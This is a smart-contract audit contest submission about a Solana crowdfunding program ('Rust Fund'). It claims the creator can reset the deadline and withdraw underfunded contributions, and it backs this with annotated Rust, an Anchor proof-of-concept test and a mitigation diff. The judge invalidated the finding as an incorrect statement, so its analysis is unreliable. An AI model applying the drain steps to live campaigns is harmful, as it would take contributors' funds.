Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Creator can alter the deadline after contribution and withdraw before the goal is reached <br />

Creator can alter the deadline after contribution and withdraw before the goal is reached

Description

Contributors rely on campaign parameters such as the deadline and goal when deciding whether to contribute. After contributors deposit SOL, the creator should not be able to arbitrarily change the campaign deadline and then withdraw funds from an underfunded campaign.

The program allows this attack path because set_deadline does not lock the deadline after the first update, and withdraw does not enforce either deadline or goal conditions. The creator can first present a future deadline, accept contributions, reset the deadline to a past timestamp, and then withdraw even though the fund has not reached its goal.

pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
@> fund.deadline = deadline;
@> // fund.dealine_set is never set to true
Ok(())
}
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
@> let amount = ctx.accounts.fund.amount_raised;
@> // Missing deadline and goal checks
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

Risk

Likelihood:

  • This occurs whenever a creator sets a deadline, receives contributions, and then calls set_deadline again because the deadline lock flag is never updated.

  • This occurs for underfunded campaigns because withdraw does not check fund.amount_raised >= fund.goal.

Impact:

  • Contributors can be misled by an initial future deadline that is later changed after they contribute.

  • The creator can withdraw underfunded campaign funds after mutating the deadline, breaking the campaign lifecycle and contributor expectations.

Proof of Concept

const airdropSolAmount = 5;
const airdrop = async (
pubkey: anchor.web3.PublicKey,
sol = airdropSolAmount
) => {
const sig = await provider.connection.requestAirdrop(
pubkey,
sol * anchor.web3.LAMPORTS_PER_SOL
);
const latest = await provider.connection.getLatestBlockhash();
await provider.connection.confirmTransaction(
{
signature: sig,
blockhash: latest.blockhash,
lastValidBlockHeight: latest.lastValidBlockHeight,
},
"confirmed"
);
};
it("creator can alter deadline after contribution and withdraw before goal is reached", async () => {
const testCreator = provider.wallet;
const testContributor = anchor.web3.Keypair.generate();
const testFundName = `refund-accounting-${Date.now()}`;
const testContribution = new anchor.BN(anchor.web3.LAMPORTS_PER_SOL / 2);
await airdrop(testContributor.publicKey);
const [testFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(testFundName), testCreator.publicKey.toBuffer()],
program.programId
);
const [testContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), testContributor.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(testFundName, description, goal)
.accountsPartial({
fund: testFundPDA,
creator: testCreator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const futureDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 100);
await program.methods
.setDeadline(futureDeadline)
.accountsPartial({
fund: testFundPDA,
creator: testCreator.publicKey
})
.rpc();
const fundAccountBeforeSetPast =
await program.account.fund.fetch(testFundPDA);
await program.methods
.contribute(testContribution)
.accountsPartial({
fund: testFundPDA,
contributor: testContributor.publicKey,
contribution: testContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([testContributor])
.rpc();
const pastDeadline = new anchor.BN(Math.floor(Date.now() / 1000) - 150);
await program.methods
.setDeadline(pastDeadline)
.accountsPartial({
fund: testFundPDA,
creator: testCreator.publicKey
})
.rpc();
const fundAccountAfterSetPast =
await program.account.fund.fetch(testFundPDA);
expect(fundAccountBeforeSetPast.deadline.toNumber()).to.eq(
futureDeadline.toNumber()
);
expect(fundAccountAfterSetPast.deadline.toNumber()).to.eq(
pastDeadline.toNumber()
);
expect(fundAccountAfterSetPast.deadline.toNumber()).to.be.lessThan(
Math.floor(Date.now() / 1000)
);
expect(fundAccountBeforeSetPast.deadline.toNumber()).to.be.greaterThan(
fundAccountAfterSetPast.deadline.toNumber()
);
const fundBeforeWithdraw = await program.account.fund.fetch(testFundPDA);
expect(fundBeforeWithdraw.amountRaised.eq(testContribution)).to.eq(true);
expect(fundBeforeWithdraw.goal.toNumber()).to.be.greaterThan(
fundBeforeWithdraw.amountRaised.toNumber()
);
const fundBalanceBeforeWithdraw =
await provider.connection.getBalance(testFundPDA);
const creatorBalanceBeforeWithdraw =
await provider.connection.getBalance(testCreator.publicKey);
await program.methods
.withdraw()
.accountsPartial({
fund: testFundPDA,
creator: testCreator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const fundBalanceAfterWithdraw =
await provider.connection.getBalance(testFundPDA);
const creatorBalanceAfterWithdraw =
await provider.connection.getBalance(testCreator.publicKey);
const fundDelta = fundBalanceBeforeWithdraw - fundBalanceAfterWithdraw;
const creatorDelta = creatorBalanceAfterWithdraw - creatorBalanceBeforeWithdraw;
expect(fundDelta).to.eq(fundBeforeWithdraw.amountRaised.toNumber());
expect(creatorDelta).to.be.greaterThan(0);
expect(creatorDelta).to.be.lessThanOrEqual(fundDelta);
});

The test first sets a future deadline, accepts a contribution, then changes the deadline to a past timestamp. The fund remains below its goal, but the creator still withdraws the contributed lamports.

Recommended Mitigation

Lock the deadline after the first successful update and enforce the intended withdrawal conditions before transferring funds.

pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
+ fund.dealine_set = true;
Ok(())
}
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
+ let now: u64 = Clock::get()?
+ .unix_timestamp
+ .try_into()
+ .map_err(|_| ErrorCode::CalculationOverflow)?;
+
+ require!(
+ ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline <= now,
+ ErrorCode::DeadlineNotReached
+ );
+ require!(
+ ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal,
+ ErrorCode::GoalNotReached
+ );
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!